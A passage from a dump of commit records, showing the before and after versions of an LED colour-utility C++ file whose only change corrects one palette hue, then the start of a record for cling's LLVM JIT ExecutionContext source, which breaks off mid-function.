divisor;\n saccum87 satdelta87 = satdistance87 \/ divisor;\n saccum87 valdelta87 = valdistance87 \/ divisor;\n \n accum88 hue88 = startcolor.hue << 8;\n accum88 sat88 = startcolor.sat << 8;\n accum88 val88 = startcolor.val << 8;\n for( uint16_t i = startpos; i <= endpos; i++) {\n leds[i] = CHSV( hue88 >> 8, sat88 >> 8, val88 >> 8);\n hue88 += huedelta87;\n sat88 += satdelta87;\n val88 += valdelta87;\n }\n}\n\n\n\nvoid nscale8_video( CRGB* leds, uint16_t num_leds, uint8_t scale)\n{\n for( uint16_t i = 0; i < num_leds; i++) {\n leds[i].nscale8_video( scale);\n }\n}\n\nvoid fade_video(CRGB* leds, uint16_t num_leds, uint8_t fadeBy)\n{\n nscale8_video( leds, num_leds, 255 - fadeBy);\n}\n\nvoid fadeLightBy(CRGB* leds, uint16_t num_leds, uint8_t fadeBy)\n{\n nscale8_video( leds, num_leds, 255 - fadeBy);\n}\n\n\nvoid fadeToBlackBy( CRGB* leds, uint16_t num_leds, uint8_t fadeBy)\n{\n nscale8( leds, num_leds, 255 - fadeBy);\n}\n\nvoid fade_raw( CRGB* leds, uint16_t num_leds, uint8_t fadeBy)\n{\n nscale8( leds, num_leds, 255 - fadeBy);\n}\n\nvoid nscale8_raw( CRGB* leds, uint16_t num_leds, uint8_t scale)\n{\n nscale8( leds, num_leds, scale);\n}\n\nvoid nscale8( CRGB* leds, uint16_t num_leds, uint8_t scale)\n{\n for( uint16_t i = 0; i < num_leds; i++) {\n leds[i].nscale8( scale);\n }\n}\n\n\n\n\/\/ CRGB HeatColor( uint8_t temperature)\n\/\/\n\/\/ Approximates a 'black body radiation' spectrum for\n\/\/ a given 'heat' level. This is useful for animations of 'fire'.\n\/\/ Heat is specified as an arbitrary scale from 0 (cool) to 255 (hot).\n\/\/ This is NOT a chromatically correct 'black body radiation'\n\/\/ spectrum, but it's surprisingly close, and it's fast and small.\n\/\/\n\/\/ On AVR\/Arduino, this typically takes around 70 bytes of program memory,\n\/\/ versus 768 bytes for a full 256-entry RGB lookup table.\n\nCRGB HeatColor( uint8_t temperature)\n{\n CRGB heatcolor;\n \n \/\/ Scale 'heat' down from 0-255 to 0-191,\n \/\/ which can then be easily divided into three\n \/\/ equal 'thirds' of 64 units each.\n uint8_t t192 = scale8_video( temperature, 192);\n \n \/\/ calculate a value that ramps up from\n \/\/ zero to 255 in each 'third' of the scale.\n uint8_t heatramp = t192 & 0x3F; \/\/ 0..63\n heatramp <<= 2; \/\/ scale up to 0..252\n \n \/\/ now figure out which third of the spectrum we're in:\n if( t192 & 0x80) {\n \/\/ we're in the hottest third\n heatcolor.r = 255; \/\/ full red\n heatcolor.g = 255; \/\/ full green\n heatcolor.b = heatramp; \/\/ ramp up blue\n \n } else if( t192 & 0x40 ) {\n \/\/ we're in the middle third\n heatcolor.r = 255; \/\/ full red\n heatcolor.g = heatramp; \/\/ ramp up green\n heatcolor.b = 0; \/\/ no blue\n \n } else {\n \/\/ we're in the coolest third\n heatcolor.r = heatramp; \/\/ ramp up red\n heatcolor.g = 0; \/\/ no green\n heatcolor.b = 0; \/\/ no blue\n }\n \n return heatcolor;\n}\n\n\n\nCRGB ColorFromPalette( const CRGBPalette16& pal, uint8_t index, uint8_t brightness, TInterpolationType interpolationType)\n{\n uint8_t hi4 = index >> 4;\n uint8_t lo4 = index & 0x0F;\n \n \/\/ CRGB rgb1 = pal[ hi4];\n const CRGB* entry = pal + hi4;\n uint8_t red1 = entry->red;\n uint8_t green1 = entry->green;\n uint8_t blue1 = entry->blue;\n \n uint8_t interpolate = lo4 && (interpolationType != INTERPOLATION_NONE);\n \n if( interpolate ) {\n \n if( hi4 == 15 ) {\n entry = pal;\n } else {\n entry++;\n }\n \n uint8_t f2 = lo4 << 4;\n uint8_t f1 = 256 - f2;\n \n \/\/ rgb1.nscale8(f1);\n red1 = scale8_LEAVING_R1_DIRTY( red1, f1);\n green1 = scale8_LEAVING_R1_DIRTY( green1, f1);\n blue1 = scale8_LEAVING_R1_DIRTY( blue1, f1);\n \n \/\/ cleanup_R1();\n \n \/\/ CRGB rgb2 = pal[ hi4];\n \/\/ rgb2.nscale8(f2);\n uint8_t red2 = entry->red;\n uint8_t green2 = entry->green;\n uint8_t blue2 = entry->blue;\n red2 = scale8_LEAVING_R1_DIRTY( red2, f2);\n green2 = scale8_LEAVING_R1_DIRTY( green2, f2);\n blue2 = scale8_LEAVING_R1_DIRTY( blue2, f2);\n \n cleanup_R1();\n \n \/\/ These sums can't overflow, so no qadd8 needed.\n red1 += red2;\n green1 += green2;\n blue1 += blue2;\n\n }\n \n if( brightness != 255) {\n nscale8x3_video( red1, green1, blue1, brightness);\n }\n \n return CRGB( red1, green1, blue1); \n}\n\n\nCRGB ColorFromPalette( const CRGBPalette256& pal, uint8_t index, uint8_t brightness, TInterpolationType)\n{\n const CRGB* entry = pal + index;\n\n uint8_t red = entry->red;\n uint8_t green = entry->green;\n uint8_t blue = entry->blue;\n \n if( brightness != 255) {\n nscale8x3_video( red, green, blue, brightness);\n }\n \n return CRGB( red, green, blue);\n}\n\ntypedef prog_uint32_t TProgmemPalette16[16];\n\nconst TProgmemPalette16 CloudPalette_p PROGMEM =\n{\n CRGB::Blue,\n CRGB::DarkBlue,\n CRGB::DarkBlue,\n CRGB::DarkBlue,\n \n CRGB::DarkBlue,\n CRGB::DarkBlue,\n CRGB::DarkBlue,\n CRGB::DarkBlue,\n \n CRGB::Blue,\n CRGB::DarkBlue,\n CRGB::SkyBlue,\n CRGB::SkyBlue,\n \n CRGB::LightBlue,\n CRGB::White,\n CRGB::LightBlue,\n CRGB::SkyBlue\n};\n\nconst TProgmemPalette16 LavaPalette_p PROGMEM =\n{\n CRGB::Black,\n CRGB::Maroon,\n CRGB::Black,\n CRGB::Maroon,\n \n CRGB::DarkRed,\n CRGB::Maroon,\n CRGB::DarkRed,\n \n CRGB::DarkRed,\n CRGB::DarkRed,\n CRGB::Red,\n CRGB::Orange,\n \n CRGB::White,\n CRGB::Orange,\n CRGB::Red,\n CRGB::DarkRed\n};\n\n\nconst TProgmemPalette16 OceanPalette_p PROGMEM =\n{\n CRGB::MidnightBlue,\n CRGB::DarkBlue,\n CRGB::MidnightBlue,\n CRGB::Navy,\n \n CRGB::DarkBlue,\n CRGB::MediumBlue,\n CRGB::SeaGreen,\n CRGB::Teal,\n \n CRGB::CadetBlue,\n CRGB::Blue,\n CRGB::DarkCyan,\n CRGB::CornflowerBlue,\n \n CRGB::Aquamarine,\n CRGB::SeaGreen,\n CRGB::Aqua,\n CRGB::LightSkyBlue\n};\n\nconst TProgmemPalette16 ForestPalette_p PROGMEM =\n{\n CRGB::DarkGreen,\n CRGB::DarkGreen,\n CRGB::DarkOliveGreen,\n CRGB::DarkGreen,\n \n CRGB::Green,\n CRGB::ForestGreen,\n CRGB::OliveDrab,\n CRGB::Green,\n \n CRGB::SeaGreen,\n CRGB::MediumAquamarine,\n CRGB::LimeGreen,\n CRGB::YellowGreen,\n\n CRGB::LightGreen,\n CRGB::LawnGreen,\n CRGB::MediumAquamarine,\n CRGB::ForestGreen\n};\n\n\nvoid InitPalette(CRGBPalette16& pal, const TProgmemPalette16 ppp)\n{\n for( uint8_t i = 0; i < 16; i++) {\n pal[i] = pgm_read_dword_near( ppp + i);\n }\n}\n\nvoid UpscalePalette(const CRGBPalette16& srcpal16, CRGBPalette256& destpal256)\n{\n for( int i = 0; i < 256; i++) {\n destpal256[i] = ColorFromPalette( srcpal16, i);\n }\n}\n\nvoid SetupCloudColors(CRGBPalette16& pal)\n{\n InitPalette( pal, CloudPalette_p);\n}\n\nvoid SetupLavaColors(CRGBPalette16& pal)\n{\n InitPalette( pal, LavaPalette_p);\n}\n\nvoid SetupOceanColors(CRGBPalette16& pal)\n{\n InitPalette( pal, OceanPalette_p);\n}\n\nvoid SetupForestColors(CRGBPalette16& pal)\n{\n InitPalette( pal, ForestPalette_p);\n}\n\nvoid SetupRainbowColors(CRGBPalette16& pal)\n{\n for( uint8_t c = 0; c < 16; c += 1) {\n uint8_t hue = c << 4;\n pal[c] = CHSV( hue, 255, 255);\n }\n}\n\nvoid SetupRainbowStripesColors(CRGBPalette16& pal)\n{\n for( uint8_t c = 0; c < 16; c += 2) {\n uint8_t hue = c << 4;\n pal[c] = CHSV( hue, 255, 255);\n pal[c+1] = CRGB::Black;\n }\n}\n\nvoid SetupPartyColors(CRGBPalette16& pal)\n{\n fill_gradient( pal, 0, CHSV( HUE_PURPLE,255,255), 7, CHSV(HUE_YELLOW - 12,255,255), FORWARD_HUES);\n fill_gradient( pal, 8, CHSV( HUE_ORANGE,255,255), 15, CHSV(HUE_BLUE + 12,255,255), BACKWARD_HUES);\n}\n\nvoid fill_palette(CRGB* L, uint16_t N, uint8_t startIndex, uint8_t incIndex,\n const CRGBPalette16& pal, uint8_t brightness, TInterpolationType interpType)\n{\n uint8_t colorIndex = startIndex;\n for( uint16_t i = 0; i < N; i++) {\n L[i] = ColorFromPalette( pal, colorIndex, brightness, interpType);\n colorIndex += incIndex;\n }\n}\n\n\nvoid fill_palette(CRGB* L, uint16_t N, uint8_t startIndex, uint8_t incIndex,\n const CRGBPalette256& pal, uint8_t brightness, TInterpolationType interpType)\n{\n uint8_t colorIndex = startIndex;\n for( uint16_t i = 0; i < N; i++) {\n L[i] = ColorFromPalette( pal, colorIndex, brightness, interpType);\n colorIndex += incIndex;\n }\n}\n<commit_msg>Corrected a color<commit_after>#include <stdint.h>\n\n#include <avr\/pgmspace.h>\n\n#include \"hsv2rgb.h\"\n#include \"colorutils.h\"\n\n\nvoid fill_solid( struct CRGB * pFirstLED, int numToFill,\n const struct CRGB& color)\n{\n for( int i = 0; i < numToFill; i++) {\n pFirstLED[i] = color;\n }\n}\n\nvoid fill_rainbow( struct CRGB * pFirstLED, int numToFill,\n uint8_t initialhue,\n uint8_t deltahue )\n{\n CHSV hsv;\n hsv.hue = initialhue;\n hsv.val = 255;\n hsv.sat = 255;\n for( int i = 0; i < numToFill; i++) {\n hsv2rgb_rainbow( hsv, pFirstLED[i]);\n hsv.hue += deltahue;\n }\n}\n\n\n#define saccum87 int16_t\n\nvoid fill_gradient( CRGB* leds,\n uint16_t startpos, CHSV startcolor,\n uint16_t endpos, CHSV endcolor,\n TGradientDirectionCode directionCode )\n{\n \/\/ if the points are in the wrong order, straighten them\n if( endpos < startpos ) {\n uint16_t t = endpos;\n CHSV tc = endcolor;\n startpos = t;\n startcolor = tc;\n endcolor = startcolor;\n endpos = startpos;\n }\n \n saccum87 huedistance87;\n saccum87 satdistance87;\n saccum87 valdistance87;\n \n satdistance87 = (endcolor.sat - startcolor.sat) << 7;\n valdistance87 = (endcolor.val - startcolor.val) << 7;\n \n uint8_t huedelta8 = endcolor.hue - startcolor.hue;\n \n if( directionCode == SHORTEST_HUES ) {\n directionCode = FORWARD_HUES;\n if( huedelta8 > 127) {\n directionCode = BACKWARD_HUES;\n }\n }\n \n if( directionCode == LONGEST_HUES ) {\n directionCode = FORWARD_HUES;\n if( huedelta8 < 128) {\n directionCode = BACKWARD_HUES;\n }\n }\n \n if( directionCode == FORWARD_HUES) {\n huedistance87 = huedelta8 << 7;\n }\n else \/* directionCode == BACKWARD_HUES *\/\n {\n huedistance87 = (uint8_t)(256 - huedelta8) << 7;\n huedistance87 = -huedistance87;\n }\n \n uint16_t pixeldistance = endpos - startpos;\n uint16_t p2 = pixeldistance \/ 2;\n int16_t divisor = p2 ? p2 : 1;\n saccum87 huedelta87 = huedistance87 \/ divisor;\n saccum87 satdelta87 = satdistance87 \/ divisor;\n saccum87 valdelta87 = valdistance87 \/ divisor;\n \n accum88 hue88 = startcolor.hue << 8;\n accum88 sat88 = startcolor.sat << 8;\n accum88 val88 = startcolor.val << 8;\n for( uint16_t i = startpos; i <= endpos; i++) {\n leds[i] = CHSV( hue88 >> 8, sat88 >> 8, val88 >> 8);\n hue88 += huedelta87;\n sat88 += satdelta87;\n val88 += valdelta87;\n }\n}\n\n\n\nvoid nscale8_video( CRGB* leds, uint16_t num_leds, uint8_t scale)\n{\n for( uint16_t i = 0; i < num_leds; i++) {\n leds[i].nscale8_video( scale);\n }\n}\n\nvoid fade_video(CRGB* leds, uint16_t num_leds, uint8_t fadeBy)\n{\n nscale8_video( leds, num_leds, 255 - fadeBy);\n}\n\nvoid fadeLightBy(CRGB* leds, uint16_t num_leds, uint8_t fadeBy)\n{\n nscale8_video( leds, num_leds, 255 - fadeBy);\n}\n\n\nvoid fadeToBlackBy( CRGB* leds, uint16_t num_leds, uint8_t fadeBy)\n{\n nscale8( leds, num_leds, 255 - fadeBy);\n}\n\nvoid fade_raw( CRGB* leds, uint16_t num_leds, uint8_t fadeBy)\n{\n nscale8( leds, num_leds, 255 - fadeBy);\n}\n\nvoid nscale8_raw( CRGB* leds, uint16_t num_leds, uint8_t scale)\n{\n nscale8( leds, num_leds, scale);\n}\n\nvoid nscale8( CRGB* leds, uint16_t num_leds, uint8_t scale)\n{\n for( uint16_t i = 0; i < num_leds; i++) {\n leds[i].nscale8( scale);\n }\n}\n\n\n\n\/\/ CRGB HeatColor( uint8_t temperature)\n\/\/\n\/\/ Approximates a 'black body radiation' spectrum for\n\/\/ a given 'heat' level. This is useful for animations of 'fire'.\n\/\/ Heat is specified as an arbitrary scale from 0 (cool) to 255 (hot).\n\/\/ This is NOT a chromatically correct 'black body radiation'\n\/\/ spectrum, but it's surprisingly close, and it's fast and small.\n\/\/\n\/\/ On AVR\/Arduino, this typically takes around 70 bytes of program memory,\n\/\/ versus 768 bytes for a full 256-entry RGB lookup table.\n\nCRGB HeatColor( uint8_t temperature)\n{\n CRGB heatcolor;\n \n \/\/ Scale 'heat' down from 0-255 to 0-191,\n \/\/ which can then be easily divided into three\n \/\/ equal 'thirds' of 64 units each.\n uint8_t t192 = scale8_video( temperature, 192);\n \n \/\/ calculate a value that ramps up from\n \/\/ zero to 255 in each 'third' of the scale.\n uint8_t heatramp = t192 & 0x3F; \/\/ 0..63\n heatramp <<= 2; \/\/ scale up to 0..252\n \n \/\/ now figure out which third of the spectrum we're in:\n if( t192 & 0x80) {\n \/\/ we're in the hottest third\n heatcolor.r = 255; \/\/ full red\n heatcolor.g = 255; \/\/ full green\n heatcolor.b = heatramp; \/\/ ramp up blue\n \n } else if( t192 & 0x40 ) {\n \/\/ we're in the middle third\n heatcolor.r = 255; \/\/ full red\n heatcolor.g = heatramp; \/\/ ramp up green\n heatcolor.b = 0; \/\/ no blue\n \n } else {\n \/\/ we're in the coolest third\n heatcolor.r = heatramp; \/\/ ramp up red\n heatcolor.g = 0; \/\/ no green\n heatcolor.b = 0; \/\/ no blue\n }\n \n return heatcolor;\n}\n\n\n\nCRGB ColorFromPalette( const CRGBPalette16& pal, uint8_t index, uint8_t brightness, TInterpolationType interpolationType)\n{\n uint8_t hi4 = index >> 4;\n uint8_t lo4 = index & 0x0F;\n \n \/\/ CRGB rgb1 = pal[ hi4];\n const CRGB* entry = pal + hi4;\n uint8_t red1 = entry->red;\n uint8_t green1 = entry->green;\n uint8_t blue1 = entry->blue;\n \n uint8_t interpolate = lo4 && (interpolationType != INTERPOLATION_NONE);\n \n if( interpolate ) {\n \n if( hi4 == 15 ) {\n entry = pal;\n } else {\n entry++;\n }\n \n uint8_t f2 = lo4 << 4;\n uint8_t f1 = 256 - f2;\n \n \/\/ rgb1.nscale8(f1);\n red1 = scale8_LEAVING_R1_DIRTY( red1, f1);\n green1 = scale8_LEAVING_R1_DIRTY( green1, f1);\n blue1 = scale8_LEAVING_R1_DIRTY( blue1, f1);\n \n \/\/ cleanup_R1();\n \n \/\/ CRGB rgb2 = pal[ hi4];\n \/\/ rgb2.nscale8(f2);\n uint8_t red2 = entry->red;\n uint8_t green2 = entry->green;\n uint8_t blue2 = entry->blue;\n red2 = scale8_LEAVING_R1_DIRTY( red2, f2);\n green2 = scale8_LEAVING_R1_DIRTY( green2, f2);\n blue2 = scale8_LEAVING_R1_DIRTY( blue2, f2);\n \n cleanup_R1();\n \n \/\/ These sums can't overflow, so no qadd8 needed.\n red1 += red2;\n green1 += green2;\n blue1 += blue2;\n\n }\n \n if( brightness != 255) {\n nscale8x3_video( red1, green1, blue1, brightness);\n }\n \n return CRGB( red1, green1, blue1); \n}\n\n\nCRGB ColorFromPalette( const CRGBPalette256& pal, uint8_t index, uint8_t brightness, TInterpolationType)\n{\n const CRGB* entry = pal + index;\n\n uint8_t red = entry->red;\n uint8_t green = entry->green;\n uint8_t blue = entry->blue;\n \n if( brightness != 255) {\n nscale8x3_video( red, green, blue, brightness);\n }\n \n return CRGB( red, green, blue);\n}\n\ntypedef prog_uint32_t TProgmemPalette16[16];\n\nconst TProgmemPalette16 CloudPalette_p PROGMEM =\n{\n CRGB::Blue,\n CRGB::DarkBlue,\n CRGB::DarkBlue,\n CRGB::DarkBlue,\n \n CRGB::DarkBlue,\n CRGB::DarkBlue,\n CRGB::DarkBlue,\n CRGB::DarkBlue,\n \n CRGB::Blue,\n CRGB::DarkBlue,\n CRGB::SkyBlue,\n CRGB::SkyBlue,\n \n CRGB::LightBlue,\n CRGB::White,\n CRGB::LightBlue,\n CRGB::SkyBlue\n};\n\nconst TProgmemPalette16 LavaPalette_p PROGMEM =\n{\n CRGB::Black,\n CRGB::Maroon,\n CRGB::Black,\n CRGB::Maroon,\n \n CRGB::DarkRed,\n CRGB::Maroon,\n CRGB::DarkRed,\n \n CRGB::DarkRed,\n CRGB::DarkRed,\n CRGB::Red,\n CRGB::Orange,\n \n CRGB::White,\n CRGB::Orange,\n CRGB::Red,\n CRGB::DarkRed\n};\n\n\nconst TProgmemPalette16 OceanPalette_p PROGMEM =\n{\n CRGB::MidnightBlue,\n CRGB::DarkBlue,\n CRGB::MidnightBlue,\n CRGB::Navy,\n \n CRGB::DarkBlue,\n CRGB::MediumBlue,\n CRGB::SeaGreen,\n CRGB::Teal,\n \n CRGB::CadetBlue,\n CRGB::Blue,\n CRGB::DarkCyan,\n CRGB::CornflowerBlue,\n \n CRGB::Aquamarine,\n CRGB::SeaGreen,\n CRGB::Aqua,\n CRGB::LightSkyBlue\n};\n\nconst TProgmemPalette16 ForestPalette_p PROGMEM =\n{\n CRGB::DarkGreen,\n CRGB::DarkGreen,\n CRGB::DarkOliveGreen,\n CRGB::DarkGreen,\n \n CRGB::Green,\n CRGB::ForestGreen,\n CRGB::OliveDrab,\n CRGB::Green,\n \n CRGB::SeaGreen,\n CRGB::MediumAquamarine,\n CRGB::LimeGreen,\n CRGB::YellowGreen,\n\n CRGB::LightGreen,\n CRGB::LawnGreen,\n CRGB::MediumAquamarine,\n CRGB::ForestGreen\n};\n\n\nvoid InitPalette(CRGBPalette16& pal, const TProgmemPalette16 ppp)\n{\n for( uint8_t i = 0; i < 16; i++) {\n pal[i] = pgm_read_dword_near( ppp + i);\n }\n}\n\nvoid UpscalePalette(const CRGBPalette16& srcpal16, CRGBPalette256& destpal256)\n{\n for( int i = 0; i < 256; i++) {\n destpal256[i] = ColorFromPalette( srcpal16, i);\n }\n}\n\nvoid SetupCloudColors(CRGBPalette16& pal)\n{\n InitPalette( pal, CloudPalette_p);\n}\n\nvoid SetupLavaColors(CRGBPalette16& pal)\n{\n InitPalette( pal, LavaPalette_p);\n}\n\nvoid SetupOceanColors(CRGBPalette16& pal)\n{\n InitPalette( pal, OceanPalette_p);\n}\n\nvoid SetupForestColors(CRGBPalette16& pal)\n{\n InitPalette( pal, ForestPalette_p);\n}\n\nvoid SetupRainbowColors(CRGBPalette16& pal)\n{\n for( uint8_t c = 0; c < 16; c += 1) {\n uint8_t hue = c << 4;\n pal[c] = CHSV( hue, 255, 255);\n }\n}\n\nvoid SetupRainbowStripesColors(CRGBPalette16& pal)\n{\n for( uint8_t c = 0; c < 16; c += 2) {\n uint8_t hue = c << 4;\n pal[c] = CHSV( hue, 255, 255);\n pal[c+1] = CRGB::Black;\n }\n}\n\nvoid SetupPartyColors(CRGBPalette16& pal)\n{\n fill_gradient( pal, 0, CHSV( HUE_PURPLE,255,255), 7, CHSV(HUE_YELLOW - 16,255,255), FORWARD_HUES);\n fill_gradient( pal, 8, CHSV( HUE_ORANGE,255,255), 15, CHSV(HUE_BLUE + 12,255,255), BACKWARD_HUES);\n}\n\nvoid fill_palette(CRGB* L, uint16_t N, uint8_t startIndex, uint8_t incIndex,\n const CRGBPalette16& pal, uint8_t brightness, TInterpolationType interpType)\n{\n uint8_t colorIndex = startIndex;\n for( uint16_t i = 0; i < N; i++) {\n L[i] = ColorFromPalette( pal, colorIndex, brightness, interpType);\n colorIndex += incIndex;\n }\n}\n\n\nvoid fill_palette(CRGB* L, uint16_t N, uint8_t startIndex, uint8_t incIndex,\n const CRGBPalette256& pal, uint8_t brightness, TInterpolationType interpType)\n{\n uint8_t colorIndex = startIndex;\n for( uint16_t i = 0; i < N; i++) {\n L[i] = ColorFromPalette( pal, colorIndex, brightness, interpType);\n colorIndex += incIndex;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author: Axel Naumann <axel@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#include \"ExecutionContext.h\"\n\n#include \"cling\/Interpreter\/StoredValueRef.h\"\n\n#include \"clang\/AST\/Type.h\"\n\n#include \"llvm\/IR\/Constants.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/PassManager.h\"\n#include \"llvm\/ADT\/SmallPtrSet.h\"\n#include \"llvm\/Analysis\/Verifier.h\"\n#include \"llvm\/Assembly\/PrintModulePass.h\"\n#include \"llvm\/ExecutionEngine\/GenericValue.h\"\n#include \"llvm\/ExecutionEngine\/JIT.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Support\/DynamicLibrary.h\"\n\nusing namespace cling;\n\nstd::set<std::string> ExecutionContext::m_unresolvedSymbols;\nstd::vector<ExecutionContext::LazyFunctionCreatorFunc_t>\n ExecutionContext::m_lazyFuncCreator;\n\nbool ExecutionContext::m_LazyFuncCreatorDiagsSuppressed = false;\n\n\/\/ Keep in source: OwningPtr<ExecutionEngine> needs #include ExecutionEngine\nExecutionContext::ExecutionContext(llvm::Module* m) \n : m_RunningStaticInits(false), m_CxaAtExitRemapped(false)\n{\n assert(m && \"llvm::Module must not be null!\");\n m_AtExitFuncs.reserve(256);\n InitializeBuilder(m);\n}\n\n\/\/ Keep in source: ~OwningPtr<ExecutionEngine> needs #include ExecutionEngine\nExecutionContext::~ExecutionContext() {\n for (size_t I = 0, N = m_AtExitFuncs.size(); I < N; ++I) {\n const CXAAtExitElement& AEE = m_AtExitFuncs[N - I - 1];\n (*AEE.m_Func)(AEE.m_Arg);\n }\n}\n\nvoid ExecutionContext::InitializeBuilder(llvm::Module* m) {\n \/\/\n \/\/ Create an execution engine to use.\n \/\/\n assert(m && \"Module cannot be null\");\n\n \/\/ Note: Engine takes ownership of the module.\n llvm::EngineBuilder builder(m);\n\n std::string errMsg;\n builder.setErrorStr(&errMsg);\n builder.setOptLevel(llvm::CodeGenOpt::Less);\n builder.setEngineKind(llvm::EngineKind::JIT);\n builder.setAllocateGVsWithCode(false);\n\n \/\/ EngineBuilder uses default c'ted TargetOptions, too:\n llvm::TargetOptions TargetOpts;\n TargetOpts.NoFramePointerElim = 1;\n TargetOpts.JITEmitDebugInfo = 1;\n\n builder.setTargetOptions(TargetOpts);\n\n m_engine.reset(builder.create());\n if (!m_engine)\n llvm::errs() << \"cling::ExecutionContext::InitializeBuilder(): \" << errMsg;\n assert(m_engine && \"Cannot create module!\");\n\n \/\/ install lazy function creators\n m_engine->InstallLazyFunctionCreator(NotifyLazyFunctionCreators);\n}\n\nint ExecutionContext::CXAAtExit(void (*func) (void*), void* arg, void* dso, \n void* clangDecl) {\n \/\/ Register a CXAAtExit function\n clang::Decl* LastTLD = (clang::Decl*)clangDecl;\n m_AtExitFuncs.push_back(CXAAtExitElement(func, arg, dso, LastTLD));\n return 0; \/\/ happiness\n}\n\nvoid unresolvedSymbol()\n{\n \/\/ throw exception?\n llvm::errs() << \"ExecutionContext: calling unresolved symbol, \"\n \"see previous error message!\\n\";\n}\n\nvoid* ExecutionContext::HandleMissingFunction(const std::string& mangled_name)\n{\n \/\/ Not found in the map, add the symbol in the list of unresolved symbols\n if (m_unresolvedSymbols.insert(mangled_name).second) {\n llvm::errs() << \"ExecutionContext: use of undefined symbol '\"\n << mangled_name << \"'!\\n\";\n }\n\n \/\/ Avoid \"ISO C++ forbids casting between pointer-to-function and\n \/\/ pointer-to-object\":\n return (void*)reinterpret_cast<size_t>(unresolvedSymbol);\n}\n\nvoid*\nExecutionContext::NotifyLazyFunctionCreators(const std::string& mangled_name)\n{\n for (std::vector<LazyFunctionCreatorFunc_t>::iterator it\n = m_lazyFuncCreator.begin(), et = m_lazyFuncCreator.end();\n it != et; ++it) {\n void* ret = (void*)((LazyFunctionCreatorFunc_t)*it)(mangled_name);\n if (ret) \n return ret;\n }\n\n if (m_LazyFuncCreatorDiagsSuppressed)\n return 0;\n\n return HandleMissingFunction(mangled_name);\n}\n\nstatic void\nfreeCallersOfUnresolvedSymbols(llvm::SmallVectorImpl<llvm::Function*>&\n funcsToFree, llvm::ExecutionEngine* engine) {\n llvm::SmallPtrSet<llvm::Function*, 40> funcsToFreeUnique;\n for (size_t i = 0; i < funcsToFree.size(); ++i) {\n llvm::Function* func = funcsToFree[i];\n if (!func) continue;\n if (funcsToFreeUnique.insert(func)) {\n for (llvm::Value::use_iterator IU = func->use_begin(),\n EU = func->use_end(); IU != EU; ++IU) {\n llvm::Instruction* instUser = llvm::dyn_cast<llvm::Instruction>(*IU);\n if (!instUser) continue;\n if (!instUser->getParent()) continue;\n if (llvm::Function* userFunc = instUser->getParent()->getParent())\n funcsToFree.push_back(userFunc);\n }\n }\n }\n for (llvm::SmallPtrSet<llvm::Function*, 40>::iterator\n I = funcsToFreeUnique.begin(), E = funcsToFreeUnique.end();\n I != E; ++I) {\n \/\/ This should force the JIT to recompile the function. But the stubs stay,\n \/\/ and the JIT reuses the stubs now pointing nowhere, i.e. without updating\n \/\/ the machine code address. Fix the JIT, or hope that MCJIT helps.\n \/\/engine->freeMachineCodeForFunction(*I);\n engine->updateGlobalMapping(*I, 0);\n }\n}\n\nExecutionContext::ExecutionResult\nExecutionContext::executeFunction(llvm::StringRef funcname,\n const clang::ASTContext& Ctx,\n clang::QualType retType,\n StoredValueRef* returnValue)\n{\n \/\/ Call a function without arguments, or with an SRet argument, see SRet below\n\n if (!m_CxaAtExitRemapped) {\n \/\/ Rewire atexit:\n llvm::Function* atExit = m_engine->FindFunctionNamed(\"__cxa_atexit\");\n llvm::Function* clingAtExit\n = m_engine->FindFunctionNamed(\"cling_cxa_atexit\");\n if (atExit && clingAtExit) {\n void* clingAtExitAddr = m_engine->getPointerToFunction(clingAtExit);\n assert(clingAtExitAddr && \"cannot find cling_cxa_atexit\");\n m_engine->updateGlobalMapping(atExit, clingAtExitAddr);\n m_CxaAtExitRemapped = true;\n }\n }\n\n \/\/ We don't care whether something was unresolved before.\n m_unresolvedSymbols.clear();\n\n llvm::Function* f = m_engine->FindFunctionNamed(funcname.str().c_str());\n if (!f) {\n llvm::errs() << \"ExecutionContext::executeFunction: \"\n \"could not find function named \" << funcname << '\\n';\n return kExeFunctionNotCompiled;\n }\n m_engine->getPointerToFunction(f);\n \/\/ check if there is any unresolved symbol in the list\n if (!m_unresolvedSymbols.empty()) {\n llvm::SmallVector<llvm::Function*, 100> funcsToFree;\n for (std::set<std::string>::const_iterator i = m_unresolvedSymbols.begin(),\n e = m_unresolvedSymbols.end(); i != e; ++i) {\n llvm::errs() << \"ExecutionContext::executeFunction: symbol '\" << *i\n << \"' unresolved while linking function '\" << funcname\n << \"'!\\n\";\n llvm::Function *ff = m_engine->FindFunctionNamed(i->c_str());\n assert(ff && \"cannot find function to free\");\n funcsToFree.push_back(ff);\n }\n freeCallersOfUnresolvedSymbols(funcsToFree, m_engine.get());\n m_unresolvedSymbols.clear();\n return kExeUnresolvedSymbols;\n }\n\n std::vector<llvm::GenericValue> args;\n bool wantReturn = (returnValue);\n StoredValueRef aggregateRet;\n\n if (f->hasStructRetAttr()) {\n \/\/ Function expects to receive the storage for the returned aggregate as\n \/\/ first argument. Allocate returnValue:\n aggregateRet = StoredValueRef::allocate(Ctx, retType, f->getReturnType());\n if (returnValue) {\n *returnValue = aggregateRet;\n } else {\n returnValue = &aggregateRet;\n }\n args.push_back(returnValue->get().getGV());\n \/\/ will get set as arg0, must not assign.\n wantReturn = false;\n }\n\n if (wantReturn) {\n llvm::GenericValue gvRet = m_engine->runFunction(f, args);\n \/\/ rescue the ret value (which might be aggregate) from the stack\n *returnValue = StoredValueRef::bitwiseCopy(Ctx, Value(gvRet, retType));\n } else {\n m_engine->runFunction(f, args);\n }\n\n return kExeSuccess;\n}\n\n\nExecutionContext::ExecutionResult\nExecutionContext::runStaticInitializersOnce(llvm::Module* m) {\n assert(m && \"Module must not be null\");\n assert(m_engine && \"Code generation did not create an engine!\");\n\n if (m_RunningStaticInits)\n return kExeSuccess;\n\n llvm::GlobalVariable* GV\n = m->getGlobalVariable(\"llvm.global_ctors\", true);\n \/\/ Nothing to do is good, too.\n if (!GV) return kExeSuccess;\n\n \/\/ Close similarity to\n \/\/ m_engine->runStaticConstructorsDestructors(false) aka\n \/\/ llvm::ExecutionEngine::runStaticConstructorsDestructors()\n \/\/ is intentional; we do an extra pass to check whether the JIT\n \/\/ managed to collect all the symbols needed by the niitializers.\n \/\/ Should be an array of '{ i32, void ()* }' structs. The first value is\n \/\/ the init priority, which we ignore.\n 